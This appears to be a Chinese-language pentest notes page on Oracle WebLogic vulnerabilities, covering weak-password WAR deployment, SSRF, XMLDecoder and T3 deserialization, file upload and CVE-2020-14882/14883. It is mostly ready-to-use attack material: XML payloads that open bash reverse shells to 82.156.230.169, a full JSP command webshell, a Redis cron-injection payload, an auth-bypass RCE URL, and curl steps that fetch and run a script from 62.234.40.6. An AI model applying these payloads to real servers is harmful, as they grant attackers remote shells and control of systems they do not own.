java组件漏洞——WebLogic
weblogic
Oracle WebLogic server是一个基于javaEE服务器,运行于java网站和java应用程序
默认端口:7001
默认页面:404
版本号:10.3.6.0
1.后台弱口令文件部署漏洞
- 默认密码登录
- 后台
制作webshell的war包
jar -cvf 文件名.war webshell文件名.jsp
上传war包
点击完成即可
http://192.168.75.129:7001/war包的名字去掉war/war包里面的webshell文件名
2.SSRF
weblogic的SSRF漏洞只能用http协议
- 测试SSRF漏洞是否存在
访问接口 /uddiexplorer/
之后去抓包
这个URL存在SSRF漏洞
之后去获取一个域名进行DNSlog测试漏洞
点击发送,在去collaborate中poll now
- 通过ssrf漏洞测试内网端口
http 测试端口,如果报错有“could not connect over”说明目标ip对应的端口没开
http 测试端口,如果报错有“Received a response from url”说明目标ip对应的端口开启
- SSRF漏洞攻击内网服务
SSRF在weblogic中用不了gopher,只能用http打redis ,redis 会认为 %0d%0a 是命令的回车换行
test
set a "\n\n\n\n*/1 * * * * root bash -c 'sh -i >&
/dev/tcp/82.156.230.169/9999 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
aaa
发送请求,攻击机开启监听
3.XMLDecode 反序列化
weblogic /CVE-2017-10271
其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令
XMLDecoder 反序列化没有 readObject 方法,没有所谓的 cc 、cb、urldns链,直接构造 xml 语句,使用 java.beans.XMLDecode 类调用 RCE 方法,如 Runtime.getRuntime.exec ProcessBuild.start
攻击:反弹shell
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/82.156.230.169/9999 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
攻击:写webshell
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/kls.jsp</string>
<void method="println"><string>
<![CDATA[
<%@ page import="java.io.*" %>
<% String cmd = request.getParameter("cmd"); String output = ""; if(cmd != null) { String s = null; try { Process p = Runtime.getRuntime().exec(cmd); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s +"\r\n"; } } catch(IOException e) { e.printStackTrace(); } } out.println(output);%>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
访问的uri是 /bea_wls_internal/webshell的名字
4.T3反序列化
https://github.com/jas502n/CVE-2018-2628
前提:python的版本必须是2版本,3版本及以上不行
T3协议是Oracle WebLogic Server中一种专有、高效的通信协议,建立在TCP/IP之上,用于实现WebLogic服务器与客户端(包括其他Java应用)之间的高性能RMI(远程方法调用)通信和数据传输。
同一个版本weblogic出现的t3反序列化漏洞利用链一样,可以直接找脚本打,脚本一般会把常见的利用链,如 cb1 链封装成 t3 协议再进行攻击。
python CVE-2018-2628-Getshell.py 目标IP 7001 shell1.jsp
weblogic 修复 t3 反序列化的方式,是版本更新时,加入反序列化利用链(如cb1链)黑名单,让链子无法使用
t3 反序列化一直没有消失,只是没有利用链,如果有人挖掘出新的利用链,就是0day,比如
- CVE-2025-21535
- CVE-2024-21216
- CVE-2023-21839
- CVE-2021-2394
- CVE-2020-2883
- CVE-2020-2555
上述漏洞都是绕过了 t3 的黑名单拦截
5. 后台文件上传
weblogic/CVE-2018-2894
访问登录页面/console
执行docker compose logs | grep password 查看管理员密码
用户名为weblogic
登录后台后,点击base_domain配置,在“高级”选项中启用“启用 Web 服务测试页面”选项:
作为攻击者,访问http://192.168.75.129:7001/ws_utc/config.do并设置工作主目录/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css。我们将目录设置为ws_utc应用程序的静态文件 CSS 目录,因为该目录无需权限即可访问,这一点至关重要
然后点击“安全”->“添加”,上传一个webshell:
上传完成后,检查返回的数据包,其中应包含时间戳:
然后访问http://192.168.75.129:7001/ws_utc/css/config/keystore/1767769204857_cmd.jsp?cmd=id以下地址执行 webshell:
6. 未授权访问+命令执行
CVE-2020-14882
未授权访问,无需密码直接登录后台
/console/css/%252e%252e%252fconsole.portal
CVE-2020-14883
weblogic 后台 RCE
/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")
反弹shell:
- 在服务器上创建脚本 1.sh
- 在服务器上开启 http监听 python2 -m SimpleHTTPServer
- 在目标靶机下载 1.sh
curl http://62.234.40.6:8000/xiaohe.sh -o /tmp/xiaohe.sh
- 在服务器开启 nc tcp 监听
nc -lvnp 7777
- 在目标靶机执行 /tmp/xiaohe.sh
bash /tmp/xiaohe.sh
执行成功即可得到shell
7. T3 反序列化 - JNDI 注入
CVE-2023-21839
一定要改攻击机地址
python CVE-2023-21839.py -ip weblogic地址 -p7001 -l 你的ldap链接

浙公网安备 33010602011771号